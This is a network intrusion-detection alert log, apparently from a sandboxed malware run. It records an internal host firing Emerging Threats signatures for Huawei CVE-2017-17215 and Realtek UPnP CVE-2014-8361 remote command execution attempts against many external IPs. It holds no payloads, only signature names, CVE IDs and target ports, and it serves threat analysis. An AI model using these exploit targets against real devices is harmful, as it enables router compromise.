07/20/24-23:01:21.923917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54698	37215	192.168.2.23	157.151.71.150
07/20/24-23:01:27.654172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48970	37215	192.168.2.23	41.27.67.46
07/20/24-23:01:31.991336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58400	37215	192.168.2.23	197.117.206.14
07/20/24-23:01:10.675827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40854	52869	192.168.2.23	217.106.167.57
07/20/24-23:01:47.808098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34120	52869	192.168.2.23	57.119.169.7
07/20/24-23:01:40.301143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55040	37215	192.168.2.23	111.130.70.21
07/20/24-23:01:41.542563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60338	52869	192.168.2.23	162.207.42.25
07/20/24-23:01:27.730585	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54896	37215	192.168.2.23	41.64.148.15
07/20/24-23:01:14.103467	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42824	37215	192.168.2.23	41.191.214.143
07/20/24-23:01:41.496780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49224	52869	192.168.2.23	59.110.210.1
07/20/24-23:01:00.634089	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48680	37215	192.168.2.23	1.70.219.104
07/20/24-23:01:46.520663	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50418	52869	192.168.2.23	172.247.8.242
07/20/24-23:01:47.663629	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52128	52869	192.168.2.23	61.27.196.68
07/20/24-23:01:41.182584	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41186	52869	192.168.2.23	150.183.54.123
07/20/24-23:01:45.683188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37380	52869	192.168.2.23	198.213.74.132
07/20/24-23:01:47.891992	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56782	52869	192.168.2.23	98.158.142.52
07/20/24-23:01:52.019773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47734	52869	192.168.2.23	189.86.15.141
07/20/24-23:01:08.606848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47194	52869	192.168.2.23	60.99.150.220
07/20/24-23:01:14.097135	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50178	37215	192.168.2.23	105.62.150.147
07/20/24-23:01:49.207937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40814	52869	192.168.2.23	197.4.127.82
07/20/24-23:01:00.634089	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38216	37215	192.168.2.23	197.235.150.198
07/20/24-23:02:05.036436	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49572	52869	192.168.2.23	57.22.35.81
07/20/24-23:01:02.079114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43806	37215	192.168.2.23	41.252.46.65
07/20/24-23:01:41.236294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41822	52869	192.168.2.23	35.204.82.212
07/20/24-23:01:52.089079	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59652	52869	192.168.2.23	35.179.67.131
07/20/24-23:01:02.076704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44404	52869	192.168.2.23	4.131.130.12
07/20/24-23:01:31.312311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49010	52869	192.168.2.23	162.229.91.161
07/20/24-23:01:21.928521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46762	37215	192.168.2.23	197.23.40.145
07/20/24-23:01:41.474540	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44732	52869	192.168.2.23	208.75.90.116
07/20/24-23:01:41.383466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35130	52869	192.168.2.23	193.15.215.48
07/20/24-23:01:57.049485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39522	52869	192.168.2.23	135.128.96.121
07/20/24-23:02:02.537098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54690	52869	192.168.2.23	113.102.84.222
07/20/24-23:01:42.727671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41428	52869	192.168.2.23	169.97.165.219
07/20/24-23:01:14.207040	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53312	37215	192.168.2.23	161.238.126.206
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47636	37215	192.168.2.23	197.48.126.38
07/20/24-23:01:45.148866	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41282	52869	192.168.2.23	208.111.2.186
07/20/24-23:01:12.807101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37332	52869	192.168.2.23	207.199.110.98
07/20/24-23:01:00.647694	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59862	37215	192.168.2.23	197.92.38.185
07/20/24-23:01:44.700808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36296	52869	192.168.2.23	103.218.156.193
07/20/24-23:01:52.934726	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39634	52869	192.168.2.23	79.195.50.112
07/20/24-23:01:24.589249	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44726	52869	192.168.2.23	111.38.32.209
07/20/24-23:01:42.304767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34786	52869	192.168.2.23	219.196.66.69
07/20/24-23:02:01.645031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39976	52869	192.168.2.23	201.63.23.173
07/20/24-23:01:42.313122	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35230	52869	192.168.2.23	134.135.7.1
07/20/24-23:01:53.625100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37504	52869	192.168.2.23	179.230.186.151
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58014	37215	192.168.2.23	197.133.236.43
07/20/24-23:01:31.979565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40992	37215	192.168.2.23	41.60.50.103
07/20/24-23:01:41.156801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44846	52869	192.168.2.23	216.159.149.17
07/20/24-23:02:09.321968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55380	52869	192.168.2.23	221.3.151.48
07/20/24-23:01:04.766644	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57512	52869	192.168.2.23	151.194.118.37
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32942	37215	192.168.2.23	157.197.13.210
07/20/24-23:01:08.626717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59244	52869	192.168.2.23	23.225.3.54
07/20/24-23:01:51.275864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42096	52869	192.168.2.23	200.222.88.102
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44792	37215	192.168.2.23	139.13.89.177
07/20/24-23:01:44.280820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52686	52869	192.168.2.23	182.81.116.37
07/20/24-23:01:49.775041	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36792	52869	192.168.2.23	41.172.236.0
07/20/24-23:01:31.991336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41200	37215	192.168.2.23	184.160.174.234
07/20/24-23:01:45.270636	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55774	52869	192.168.2.23	31.234.118.120
07/20/24-23:01:31.317668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48316	52869	192.168.2.23	177.181.36.106
07/20/24-23:01:42.758824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35010	52869	192.168.2.23	213.132.50.155
07/20/24-23:01:01.799480	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60470	52869	192.168.2.23	25.158.237.150
07/20/24-23:01:50.093097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40554	52869	192.168.2.23	38.110.137.130
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46626	37215	192.168.2.23	157.132.44.64
07/20/24-23:01:03.120339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59050	52869	192.168.2.23	4.72.134.93
07/20/24-23:01:41.360712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55964	52869	192.168.2.23	113.116.9.186
07/20/24-23:01:42.430595	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52592	52869	192.168.2.23	90.133.16.151
07/20/24-23:01:54.345402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48096	52869	192.168.2.23	93.193.20.196
07/20/24-23:01:43.078618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51042	52869	192.168.2.23	207.164.129.53
07/20/24-23:01:48.901809	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34252	52869	192.168.2.23	67.14.83.223
07/20/24-23:01:03.149410	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34424	52869	192.168.2.23	208.190.62.115
07/20/24-23:02:07.552669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54260	52869	192.168.2.23	23.130.194.51
07/20/24-23:01:43.425298	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48686	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42332	37215	192.168.2.23	41.135.159.113
07/20/24-23:01:45.458332	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35490	52869	192.168.2.23	147.65.114.30
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34896	37215	192.168.2.23	197.88.10.152
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50816	37215	192.168.2.23	197.197.41.106
07/20/24-23:01:58.055688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33598	52869	192.168.2.23	89.139.237.174
07/20/24-23:01:51.107223	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56572	52869	192.168.2.23	42.135.139.61
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49634	37215	192.168.2.23	197.238.40.139
07/20/24-23:01:42.729311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49758	52869	192.168.2.23	130.96.13.171
07/20/24-23:01:10.996987	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39666	52869	192.168.2.23	27.116.111.15
07/20/24-23:01:41.478929	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48268	52869	192.168.2.23	62.0.251.178
07/20/24-23:01:24.933370	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52192	37215	192.168.2.23	197.181.95.82
07/20/24-23:01:48.433265	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55244	52869	192.168.2.23	153.55.136.220
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55018	37215	192.168.2.23	157.87.189.85
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42074	37215	192.168.2.23	197.207.172.207
07/20/24-23:01:41.303669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49992	52869	192.168.2.23	152.188.24.161
07/20/24-23:01:27.654172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37200	37215	192.168.2.23	157.251.237.127
07/20/24-23:01:42.000471	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56196	52869	192.168.2.23	199.90.7.168
07/20/24-23:00:57.221280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43126	37215	192.168.2.23	197.4.26.126
07/20/24-23:01:53.560520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49688	52869	192.168.2.23	175.53.167.172
07/20/24-23:01:27.650969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54752	37215	192.168.2.23	157.247.9.98
07/20/24-23:01:45.096837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39946	52869	192.168.2.23	145.21.134.81
07/20/24-23:01:54.880741	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52238	52869	192.168.2.23	167.225.20.24
07/20/24-23:01:06.973541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49004	37215	192.168.2.23	197.9.136.124
07/20/24-23:01:31.321188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57476	52869	192.168.2.23	157.108.156.75
07/20/24-23:01:42.557694	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53706	52869	192.168.2.23	185.161.24.118
07/20/24-23:01:42.147980	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56000	52869	192.168.2.23	221.157.224.96
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46326	37215	192.168.2.23	157.222.120.169
07/20/24-23:01:50.188348	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51040	52869	192.168.2.23	178.64.121.40
07/20/24-23:01:42.778817	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40746	52869	192.168.2.23	138.229.180.34
07/20/24-23:02:03.159117	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38730	52869	192.168.2.23	183.120.27.200
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60624	37215	192.168.2.23	41.252.100.49
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45312	37215	192.168.2.23	71.112.242.82
07/20/24-23:02:05.786490	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44472	52869	192.168.2.23	190.159.104.180
07/20/24-23:02:12.682460	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58340	52869	192.168.2.23	85.40.245.195
07/20/24-23:02:14.650164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35728	52869	192.168.2.23	159.226.32.12
07/20/24-23:01:40.286738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56342	37215	192.168.2.23	157.218.32.62
07/20/24-23:01:45.574617	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39656	52869	192.168.2.23	152.70.166.60
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45952	37215	192.168.2.23	197.186.193.196
07/20/24-23:01:41.263056	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38236	52869	192.168.2.23	114.149.101.121
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44056	37215	192.168.2.23	158.165.91.44
07/20/24-23:01:46.453936	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34994	52869	192.168.2.23	96.24.157.5
07/20/24-23:01:34.062277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53428	37215	192.168.2.23	197.222.250.183
07/20/24-23:01:02.104572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46440	37215	192.168.2.23	41.205.220.16
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41408	37215	192.168.2.23	5.82.172.149
07/20/24-23:01:43.209467	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43906	52869	192.168.2.23	180.49.147.96
07/20/24-23:01:59.292118	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58552	52869	192.168.2.23	159.133.17.143
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46650	37215	192.168.2.23	110.243.142.209
07/20/24-23:01:02.965900	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44986	52869	192.168.2.23	84.150.128.0
07/20/24-23:01:59.188717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50172	52869	192.168.2.23	143.107.137.70
07/20/24-23:01:03.153933	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34664	52869	192.168.2.23	146.210.17.240
07/20/24-23:01:04.155095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50178	52869	192.168.2.23	218.228.206.146
07/20/24-23:01:42.745651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36060	52869	192.168.2.23	47.244.160.188
07/20/24-23:01:03.482119	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35784	52869	192.168.2.23	103.18.195.93
07/20/24-23:01:08.615260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36786	52869	192.168.2.23	201.250.207.152
07/20/24-23:01:45.547334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59954	52869	192.168.2.23	23.210.80.134
07/20/24-23:01:47.062116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33920	52869	192.168.2.23	74.191.12.65
07/20/24-23:00:57.220899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40788	37215	192.168.2.23	157.147.238.186
07/20/24-23:01:08.578727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48380	52869	192.168.2.23	122.204.212.245
07/20/24-23:01:42.262355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34778	52869	192.168.2.23	137.218.170.227
07/20/24-23:01:43.211007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46490	52869	192.168.2.23	136.80.115.81
07/20/24-23:00:57.221504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52232	37215	192.168.2.23	197.155.27.254
07/20/24-23:01:01.810641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59764	52869	192.168.2.23	188.112.254.56
07/20/24-23:01:07.005156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57052	37215	192.168.2.23	41.148.208.60
07/20/24-23:01:43.906354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43652	52869	192.168.2.23	207.223.163.108
07/20/24-23:01:52.686542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35262	52869	192.168.2.23	95.85.24.175
07/20/24-23:01:55.481754	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57092	52869	192.168.2.23	163.119.42.207
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33690	37215	192.168.2.23	192.80.253.11
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58342	37215	192.168.2.23	20.226.9.160
07/20/24-23:01:42.677814	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44632	52869	192.168.2.23	219.196.203.133
07/20/24-23:01:08.565561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34016	52869	192.168.2.23	193.135.58.157
07/20/24-23:01:41.456455	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38254	52869	192.168.2.23	208.138.181.205
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47214	37215	192.168.2.23	157.8.72.36
07/20/24-23:01:59.234149	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44354	52869	192.168.2.23	96.1.75.175
07/20/24-23:01:08.556804	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34306	52869	192.168.2.23	205.32.150.55
07/20/24-23:01:32.046185	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37230	37215	192.168.2.23	197.57.153.94
07/20/24-23:01:42.677814	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44632	52869	192.168.2.23	219.196.203.133
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47872	37215	192.168.2.23	157.134.165.10
07/20/24-23:01:42.780168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41356	52869	192.168.2.23	187.139.238.2
07/20/24-23:01:52.019772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59776	52869	192.168.2.23	221.117.11.208
07/20/24-23:01:50.128003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40278	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:50.949008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59820	52869	192.168.2.23	216.9.135.122
07/20/24-23:01:56.925238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53866	52869	192.168.2.23	132.12.76.39
07/20/24-23:01:02.104571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46718	37215	192.168.2.23	41.221.247.167
07/20/24-23:01:44.470424	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40172	52869	192.168.2.23	63.251.2.20
07/20/24-23:02:00.062043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52772	52869	192.168.2.23	34.24.67.79
07/20/24-23:01:14.095462	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55122	37215	192.168.2.23	190.39.12.159
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41766	37215	192.168.2.23	41.95.161.232
07/20/24-23:01:52.038833	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46014	52869	192.168.2.23	87.75.190.2
07/20/24-23:01:53.068033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39446	52869	192.168.2.23	109.27.210.57
07/20/24-23:01:42.213822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43154	52869	192.168.2.23	163.18.131.94
07/20/24-23:01:42.800757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34404	52869	192.168.2.23	157.252.110.127
07/20/24-23:01:02.389453	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40138	52869	192.168.2.23	49.39.36.55
07/20/24-23:01:20.169339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45458	37215	192.168.2.23	223.241.109.88
07/20/24-23:01:31.328855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47958	52869	192.168.2.23	62.157.173.255
07/20/24-23:01:42.789220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40438	52869	192.168.2.23	148.205.165.15
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48874	37215	192.168.2.23	41.42.19.221
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57796	37215	192.168.2.23	197.249.133.131
